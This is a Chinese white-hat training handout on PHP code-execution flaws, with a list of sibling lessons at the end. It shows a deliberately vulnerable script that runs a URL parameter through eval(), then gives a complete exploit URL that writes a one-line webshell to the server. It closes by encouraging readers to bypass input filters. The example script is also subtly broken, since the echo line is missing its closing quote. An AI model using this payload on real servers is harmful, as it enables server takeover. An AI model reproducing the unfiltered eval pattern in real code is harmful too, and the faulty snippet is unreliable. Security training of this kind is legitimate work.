米斯特白帽培训讲义 漏洞篇 代码执行

简介: 米斯特白帽培训讲义 漏洞篇 代码执行 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0原理由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并交由服务端执行。

米斯特白帽培训讲义 漏洞篇 代码执行

讲师:gh0stkey

整理:飞龙

协议:CC BY-NC-SA 4.0

原理

由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并交由服务端执行。命令注入攻击中,Web 服务器没有过滤类似systemevalexec等函数,是该漏洞攻击成功的主要原因。

实例代码

<?php
// code-exe.php:
$code=@$_GET['code'];//http://localhost/subject/code-exe.php?code=
echo "<center>Payload:".$code."<br/>Result:</center>
eval($code);

整个代码就三行,第一行用于从 URL 参数中读取code参数的值。第二行用于输出该参数的值,用于检查该参数。第三行直接将该参数当做 PHP 代码执行。由于不存在任何过滤,就会产生代码执行漏洞。

我们在该文件的目录下执行php -S 0.0.0.0:80,之后访问http://localhost/code-exe.php?code=phpinfo();,我们可以看到该代码执行了phpinfo函数:

利用

我们可以将 URL 中code参数值换成不同的 PHP 代码,使其执行不同的 PHP 代码。利用此漏洞的关键还是熟悉所有可用的 PHP 代码。

比如,可以使用phpinfo或者echo等调试函数来判定漏洞。最重要的是,可以利用这个漏洞写入 Webshell,代码如下:

$file='mst.php'; // 一句话木马的文件名
$person='<?php @eval($_POST[1]);?>'; // 一句话文件名的代码
file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // 当key.php文件不存在会自动创建,如果存在就会添加

我们需要把这三行代码写入 URL 中,得到的 URL 是这样:http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);

访问之后,当前目录就会多出一个mst.php,内容为<?php @eval($_POST[1]);?>,这个就是一句话木马。由于不是讲工具的章节,这里就不拿菜刀演示了。

在实际代码中,当然不可能这么短,就需要大家使用evalexec作为关键词来搜索可能的漏洞点。另外,实际代码中还可能在执行之前对$code进行过滤,也需要大家发挥创造性,绕过过滤来成功利用它。

相关文章
|
安全 .NET 开发框架
米斯特白帽培训讲义(v2)实战篇 捷达系统
米斯特白帽培训讲义 实战篇 捷达系统 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 概述 官网:http://www.jeedaa.com/ 主要产品有: 捷达ERP 捷达OA 捷达eHR 捷达CRM 捷达eFax 捷达仓库管理 捷达进销存.Net 捷达协同办公.Net 均存在能够 GetShell 的漏洞。
1037 0
|
网络协议 安全 应用服务中间件
米斯特白帽培训讲义(v2)漏洞篇 SSRF
米斯特白帽培训讲义 漏洞篇 SSRF 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 很多 Web 应用都提供了从其他服务器上获取数据的功能。
1257 0
|
安全 数据安全/隐私保护 Windows
米斯特白帽培训讲义(v2)漏洞篇 提权
米斯特白帽培训讲义 漏洞篇 提权 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。
1109 0
|
监控 安全 PHP
米斯特白帽培训讲义(v2)漏洞篇 文件包含
米斯特白帽培训讲义 漏洞篇 文件包含 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理 文件包含就是将一个文件包含到自己的文件中执行。
1258 0
|
安全 应用服务中间件 PHP
米斯特白帽培训讲义(v2)漏洞篇 文件上传
米斯特白帽培训讲义 漏洞篇 文件上传 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 我们首先看一下文件上传的流程图。
1190 0
|
Web App开发 存储 安全
米斯特白帽培训讲义(v2)漏洞篇 XSS
米斯特白帽培训讲义 漏洞篇 XSS 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS 。
1165 0
|
安全 JavaScript 数据安全/隐私保护
米斯特白帽培训讲义(v2)漏洞篇 第三方风险
米斯特白帽培训讲义 漏洞篇 第三方风险 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 域名商 域名商就是提供域名购买的站点。
1197 0
|
PHP CDN
米斯特白帽培训讲义(v2)信息收集
米斯特白帽培训讲义 信息收集 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.
1774 0
|
安全 数据安全/隐私保护
米斯特白帽培训讲义 漏洞篇 逻辑漏洞
米斯特白帽培训讲义 漏洞篇 逻辑漏洞 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 任意密码找回 这是补天平台上的一个案例 首先注册一个账号,然后找回。
1118 0